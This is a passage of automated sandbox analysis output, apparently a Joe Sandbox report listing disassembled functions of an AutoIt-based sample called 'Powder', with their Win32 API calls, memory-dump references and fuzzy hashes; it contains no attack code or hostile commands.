Part of subcall function 00CB78F2: __fltout2.LIBCMT ref: 00CB791B

__cftog_l.LIBCMT ref: 00CB7231
__cftoe_l.LIBCMT ref: 00CB7263

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: __cftoe_l__cftof_l__cftog_l__fltout2
String ID:
API String ID: 3016257755-0
Opcode ID: a65d1881d29c7e947f5b32dbcea64912f89e558cad637ae539af3f1adf23f7b4
Instruction ID: d317236f7b83df2b7e36ce03613dbbc0a1d00e3d7172a0cabc5b437e06630ece
Opcode Fuzzy Hash: a65d1881d29c7e947f5b32dbcea64912f89e558cad637ae539af3f1adf23f7b4
Instruction Fuzzy Hash: FC014C7204814EFBCF165E84CC418EE3F62BB99354F598615FE2868531D336CAB1BB92

Function 00D0B937 Relevance: 6.0, APIs: 4, Instructions: 47COMMON

Download Yara Rule

APIs

GetWindowRect.USER32(?,?), ref: 00D0B956
ScreenToClient.USER32(?,?), ref: 00D0B96E
ScreenToClient.USER32(?,?), ref: 00D0B992
InvalidateRect.USER32(?,?,?,?,?,?,?,?,?,?,?,?), ref: 00D0B9AD

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: ClientRectScreen$InvalidateWindow
String ID:
API String ID: 357397906-0
Opcode ID: 80245ef18f9d78c106940bb8ede75e43041d6f24340778d1212885c91016e1a5
Instruction ID: 6c84f04ad9d91554b04ac963965e97b0528e0a30ccab64cca79daa2f3b26c30d
Opcode Fuzzy Hash: 80245ef18f9d78c106940bb8ede75e43041d6f24340778d1212885c91016e1a5
Instruction Fuzzy Hash: FA1163B9D04209EFDB41DF98D984AEEBBF9FB48310F108156E914E3310D771AA618F60

Function 00D0BCA7 Relevance: 6.0, APIs: 4, Instructions: 40processCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00D0BCB6
_memset.LIBCMT ref: 00D0BCC5
CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,00000020,00000000,00000000,00D48F20,00D48F64), ref: 00D0BCF4
CloseHandle.KERNEL32 ref: 00D0BD06

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: _memset$CloseCreateHandleProcess
String ID:
API String ID: 3277943733-0
Opcode ID: 9008126c79f90d4977de92c488741efa7d2fdaee70c619f5a480b18963c28adc
Instruction ID: 8152eb01ed058e5cd765647866de2b78df94f764df211cf597b1db4d8854b385
Opcode Fuzzy Hash: 9008126c79f90d4977de92c488741efa7d2fdaee70c619f5a480b18963c28adc
Instruction Fuzzy Hash: 3DF05EB65403047FE2503B61AC05FBF7A5DEF0A794F044421BA09E52A2DB725815A7B8

Function 00CE7195 Relevance: 6.0, APIs: 4, Instructions: 33COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 00CE71A1

Part of subcall function 00CE7C7F: _memset.LIBCMT ref: 00CE7CB4

_memmove.LIBCMT ref: 00CE71C4
_memset.LIBCMT ref: 00CE71D1
LeaveCriticalSection.KERNEL32(?), ref: 00CE71E1

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: CriticalSection_memset$EnterLeave_memmove
String ID:
API String ID: 48991266-0
Opcode ID: 658d30f544566dd38477ad02e4deb4fe27cc2ef57343195f9cb46263182506ad
Instruction ID: 5cec9ed1340235b887bb3cf8f05e9626e3bdd49f213fcfb11c5736c1884c31a0
Opcode Fuzzy Hash: 658d30f544566dd38477ad02e4deb4fe27cc2ef57343195f9cb46263182506ad
Instruction Fuzzy Hash: 3EF0543A100104BBCF016F55DC85A8ABF29EF45320F08C051FE089E21ACB75A951EBB4

Function 00D0C3C4 Relevance: 6.0, APIs: 4, Instructions: 31COMMON

Download Yara Rule

APIs

Part of subcall function 00C816CF: ExtCreatePen.GDI32(?,?,00000000,00000000,00000000,?,00000000), ref: 00C81729
Part of subcall function 00C816CF: SelectObject.GDI32(?,00000000), ref: 00C81738
Part of subcall function 00C816CF: BeginPath.GDI32(?), ref: 00C8174F
Part of subcall function 00C816CF: SelectObject.GDI32(?,00000000), ref: 00C81778

MoveToEx.GDI32(00000000,00000000,?,00000000), ref: 00D0C3E8
LineTo.GDI32(00000000,?,?), ref: 00D0C3F5
EndPath.GDI32(00000000), ref: 00D0C405
StrokePath.GDI32(00000000), ref: 00D0C413

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: Path$ObjectSelect$BeginCreateLineMoveStroke
String ID:
API String ID: 1539411459-0
Opcode ID: a2899b686de9643b543e59d0c7e78f8c74104c706ddefc25bfd6f70ce0fcecc4
Instruction ID: 388225b163d5c67aebd4c5bbb94057266f1fb602cdc08e1e07391a6abc544c7d
Opcode Fuzzy Hash: a2899b686de9643b543e59d0c7e78f8c74104c706ddefc25bfd6f70ce0fcecc4
Instruction Fuzzy Hash: 1CF0BE31005318BBDB122F50AC0DFCE3F59BF0A310F088000FA55A12E1CBB46696DBB9

Function 00CDAA52 Relevance: 6.0, APIs: 4, Instructions: 30threadwindowtimeCOMMON

Download Yara Rule

APIs

SendMessageTimeoutW.USER32(?,00000000,00000000,00000000,00000002,00001388,00000001), ref: 00CDAA6F
GetWindowThreadProcessId.USER32(?,00000000), ref: 00CDAA82
GetCurrentThreadId.KERNEL32 ref: 00CDAA89
AttachThreadInput.USER32(00000000), ref: 00CDAA90

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: Thread$AttachCurrentInputMessageProcessSendTimeoutWindow
String ID:
API String ID: 2710830443-0
Opcode ID: 6afcd24f16d7a279e4d044e0bae15db61f7fc518a52239952603c6aca1e3270a
Instruction ID: b3730fd745d16965a7d37d97966773546c1506bafa6418a7ca6067217900b772
Opcode Fuzzy Hash: 6afcd24f16d7a279e4d044e0bae15db61f7fc518a52239952603c6aca1e3270a
Instruction Fuzzy Hash: DFE01531541328BBDB216BA29D0CEE73E1CEF117A1F008112F609C4150CAB18A91DBB0

Function 00C825F4 Relevance: 6.0, APIs: 4, Instructions: 23COMMON

Download Yara Rule

APIs

GetSysColor.USER32(00000008), ref: 00C8260D
SetTextColor.GDI32(?,000000FF), ref: 00C82617
SetBkMode.GDI32(?,00000001), ref: 00C8262C
GetStockObject.GDI32(00000005), ref: 00C82634
GetWindowDC.USER32(?,00000000), ref: 00CBC1C4
GetPixel.GDI32(00000000,00000000,00000000), ref: 00CBC1D1
GetPixel.GDI32(00000000,?,00000000), ref: 00CBC1EA
GetPixel.GDI32(00000000,00000000,?), ref: 00CBC203
GetPixel.GDI32(00000000,?,?), ref: 00CBC223
ReleaseDC.USER32(?,00000000), ref: 00CBC22E

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: Pixel$Color$ModeObjectReleaseStockTextWindow
String ID:
API String ID: 1946975507-0
Opcode ID: 9e82525c4deea53c3e5124946f5a039d463d903b2154d515e0d3b54dad8c0681
Instruction ID: bdf1bf112002c3fde032fcd0f82b9fcac762e88448574d459e3b0f49f86d0055
Opcode Fuzzy Hash: 9e82525c4deea53c3e5124946f5a039d463d903b2154d515e0d3b54dad8c0681
Instruction Fuzzy Hash: 95E01531504344BAEB216FA8AC49BD83F11AB05332F148266FA79980E1CAB54AC19B22

Function 00CD9330 Relevance: 6.0, APIs: 4, Instructions: 23threadCOMMON

Download Yara Rule

APIs

GetCurrentThread.KERNEL32 ref: 00CD9339
OpenThreadToken.ADVAPI32(00000000,?,?,?,00CD8F04), ref: 00CD9340
GetCurrentProcess.KERNEL32(00000028,?,?,?,?,00CD8F04), ref: 00CD934D
OpenProcessToken.ADVAPI32(00000000,?,?,?,00CD8F04), ref: 00CD9354

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: CurrentOpenProcessThreadToken
String ID:
API String ID: 3974789173-0
Opcode ID: 69e0e8b0d3fa87459b15072ca9cf8b5ab3b6a7a5ab054cd87c58d1d7c16199c3
Instruction ID: fef7450092ca6fb00ed6e959a2c41fa3d67be1fe5b9013ba43a6091cd188da95
Opcode Fuzzy Hash: 69e0e8b0d3fa87459b15072ca9cf8b5ab3b6a7a5ab054cd87c58d1d7c16199c3
Instruction Fuzzy Hash: E7E04F36601311AFD7202FB15D0DB963F6CEF557A5F118818E245CA190EE749586C760

Function 00CC0679 Relevance: 6.0, APIs: 4, Instructions: 20COMMON

Download Yara Rule

APIs

GetDesktopWindow.USER32 ref: 00CC0679
GetDC.USER32(00000000), ref: 00CC0683
GetDeviceCaps.GDI32(00000000,0000000C), ref: 00CC06A3
ReleaseDC.USER32(?), ref: 00CC06C4

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: CapsDesktopDeviceReleaseWindow
String ID:
API String ID: 2889604237-0
Opcode ID: e5dbd29371340c72978a5f41112e84e6c9f071a23ebde957d92f88be8913331d
Instruction ID: bfd640cd1c78eeac891f1c335409b6e5cd09fa38516258bc0eea834d23d4555e
Opcode Fuzzy Hash: e5dbd29371340c72978a5f41112e84e6c9f071a23ebde957d92f88be8913331d
Instruction Fuzzy Hash: 6CE0C271800204EFCB01AF61D808AAD7FB1AB88310F21C009F85AE7310DEB885929F64

Function 00CC068D Relevance: 6.0, APIs: 4, Instructions: 19COMMON

Download Yara Rule

APIs

GetDesktopWindow.USER32 ref: 00CC068D
GetDC.USER32(00000000), ref: 00CC0697
GetDeviceCaps.GDI32(00000000,0000000C), ref: 00CC06A3
ReleaseDC.USER32(?), ref: 00CC06C4

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: CapsDesktopDeviceReleaseWindow
String ID:
API String ID: 2889604237-0
Opcode ID: 294f07fc7e746b6b1b6cd419c5851e7b73aedcc89dee3c907779303ca2c78302
Instruction ID: 4a48432f616e568cf6eaee5b5461c808251f61149a31282e0d107cbce329b8aa
Opcode Fuzzy Hash: 294f07fc7e746b6b1b6cd419c5851e7b73aedcc89dee3c907779303ca2c78302
Instruction Fuzzy Hash: A9E0EEB1800204AFCB01AFA0D808AAD7FB2AB8C314F11C009F95AE7310DFB895929F60

Function 00CEB5EF Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 201shareCOMMON

Download Yara Rule

APIs

Part of subcall function 00C9436A: _wcscpy.LIBCMT ref: 00C9438D

Part of subcall function 00C84D37: __itow.LIBCMT ref: 00C84D62
Part of subcall function 00C84D37: __swprintf.LIBCMT ref: 00C84DAC

__wcsnicmp.LIBCMT ref: 00CEB670
WNetUseConnectionW.MPR(00000000,?,?,00000000,?,?,00000100,?), ref: 00CEB739

Strings

LPT, xrefs: 00CEB66A

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: Connection__itow__swprintf__wcsnicmp_wcscpy
String ID: LPT
API String ID: 3222508074-1350329615
Opcode ID: 0bace727d44c4149e31771f9596b320c06ee08f3f00af5944de62986f6a9d8e5
Instruction ID: 08db987e1554b0a33dde70a44d942cdd6bf33a766f58f106092664cca556032e
Opcode Fuzzy Hash: 0bace727d44c4149e31771f9596b320c06ee08f3f00af5944de62986f6a9d8e5
Instruction Fuzzy Hash: F461A375A00219AFCB18EF95C891EBFB7B5EF48310F01815AF916AB391D770AE41CB64

Function 00C8E00D Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 144sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(00000000), ref: 00C8E01E
GlobalMemoryStatusEx.KERNEL32(?), ref: 00C8E037

Strings

@, xrefs: 00C8E02B

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: GlobalMemorySleepStatus
String ID: @
API String ID: 2783356886-2766056989
Opcode ID: 70af020705debdf8e1c94be48ad5b696f5c2897dc048a3308c3bee8686dd2b79
Instruction ID: ee3951c0882deb0e5755afc98a60db0682ddee1e975cdfeffb52c99dd132a10b
Opcode Fuzzy Hash: 70af020705debdf8e1c94be48ad5b696f5c2897dc048a3308c3bee8686dd2b79
Instruction Fuzzy Hash: 91516C714087459BE320AF50EC85BAFBBF8FF84719F41884DF1D8811A1EB719569CB2A

Function 00D08096 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 97windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000027,00001132,00000000,?), ref: 00D08186
SendMessageW.USER32(?,00001105,00000000,00000000), ref: 00D0819B

Strings

', xrefs: 00D080EF

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: MessageSend
String ID: '
API String ID: 3850602802-1997036262
Opcode ID: fda3bf9295a3a5ef0f562f2bd5e35e10844625de4509646f11129072e4ce3f87
Instruction ID: dbb15fe0f657cd56238553bf8f3bf92f43574be52b2b0d74530a903cb16637e2
Opcode Fuzzy Hash: fda3bf9295a3a5ef0f562f2bd5e35e10844625de4509646f11129072e4ce3f87
Instruction Fuzzy Hash: 72413974A003099FDB10CF64C881BDA7BB5FF09300F14056AE948EB391DB70A956DFA0

Function 00D07088 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 95COMMON

Download Yara Rule

APIs

DestroyWindow.USER32(?,?,?,?), ref: 00D0713C
MoveWindow.USER32(?,?,?,?,?,00000001,?,?,?), ref: 00D07178

Strings

static, xrefs: 00D070D8

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: Window$DestroyMove
String ID: static
API String ID: 2139405536-2160076837
Opcode ID: 25e1a4d74f352afba8cf58ae1e14cb7147e9bfb4eb6a13c79abb5e28ed04ddc2
Instruction ID: 4cfb3297ff54b6d02ce7e55b7cdcb006ae63f695ecbca63e8a815e7ff9cd6795
Opcode Fuzzy Hash: 25e1a4d74f352afba8cf58ae1e14cb7147e9bfb4eb6a13c79abb5e28ed04ddc2
Instruction Fuzzy Hash: 6B318D71500604AEEB109F74CC80BFB77A9FF48724F149619F999871D0DA70AC81DB74

Function 00CE3049 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 88windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00CE30B8
GetMenuItemInfoW.USER32(?,?,00000000,00000030), ref: 00CE30F3

Strings

0, xrefs: 00CE30B1

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: InfoItemMenu_memset
String ID: 0
API String ID: 2223754486-4108050209
Opcode ID: fc6e63caa16ed3d0a9d53936d41ee2d7532c57c6e940e55c2c1873d48edb87c0
Instruction ID: 3e97ad990567c0acb7a7042702f49745af4ec081ef29f758c1c49e1c120d8d20
Opcode Fuzzy Hash: fc6e63caa16ed3d0a9d53936d41ee2d7532c57c6e940e55c2c1873d48edb87c0
Instruction Fuzzy Hash: FF31B6316003C5EBEB249F5AC889BAEBBB9EF05350F14401DED96E71A1D770AB44DB50

Function 00CF40B5 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 84COMMON

Download Yara Rule

APIs

__snwprintf.LIBCMT ref: 00CF4132

Part of subcall function 00C91A36: _memmove.LIBCMT ref: 00C91A77

Strings

AUTOITCALLVARIABLE%d, xrefs: 00CF4124
, $, xrefs: 00CF4172

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: __snwprintf_memmove
String ID: , $$AUTOITCALLVARIABLE%d
API String ID: 3506404897-2584243854
Opcode ID: b643243a78ac99871dc1bf7f84c2004dccbde940d8b6e4f1f8b339ab3170fab8
Instruction ID: c1925bb85f6219b5577d0d7b3b72ee71fe313133b12b1331d157137acbbb4e65
Opcode Fuzzy Hash: b643243a78ac99871dc1bf7f84c2004dccbde940d8b6e4f1f8b339ab3170fab8
Instruction Fuzzy Hash: 0821E431A0021DAFCF04EF64D886EAE77B4EF54740F444055FA05A7241DB30EA85EBB2

Function 00D06CF9 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 72windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00000143,00000000,?), ref: 00D06D86
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 00D06D91

Strings

Combobox, xrefs: 00D06D53

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: MessageSend
String ID: Combobox
API String ID: 3850602802-2096851135
Opcode ID: 037b651846c79c5097ecf0130587135ec3523261a47f82b01a80e083cfda0e9f
Instruction ID: 2b0a4ca36687502ba289e743fa4ad7e19925c50d062725db1d21d00d57cc2350
Opcode Fuzzy Hash: 037b651846c79c5097ecf0130587135ec3523261a47f82b01a80e083cfda0e9f
Instruction Fuzzy Hash: 8B116D71310209AFEF259E54DC81FEB3B6AEB883A4F154129F9189B2D0DA71DC6187B0

Function 00D0722C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 68COMMON

Download Yara Rule

APIs

Part of subcall function 00C82111: CreateWindowExW.USER32(?,?,?,?,?,?,?,?,?,?,00000000,00000096), ref: 00C8214F
Part of subcall function 00C82111: GetStockObject.GDI32(00000011), ref: 00C82163
Part of subcall function 00C82111: SendMessageW.USER32(00000000,00000030,00000000), ref: 00C8216D

GetWindowRect.USER32(00000000,?), ref: 00D07296
GetSysColor.USER32(00000012), ref: 00D072B0

Strings

static, xrefs: 00D07273

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: Window$ColorCreateMessageObjectRectSendStock
String ID: static
API String ID: 1983116058-2160076837
Opcode ID: aafb2112393c8028dcf290507599f0afb34d3c0c2eb3b4060f23c4ccb13cdeb8
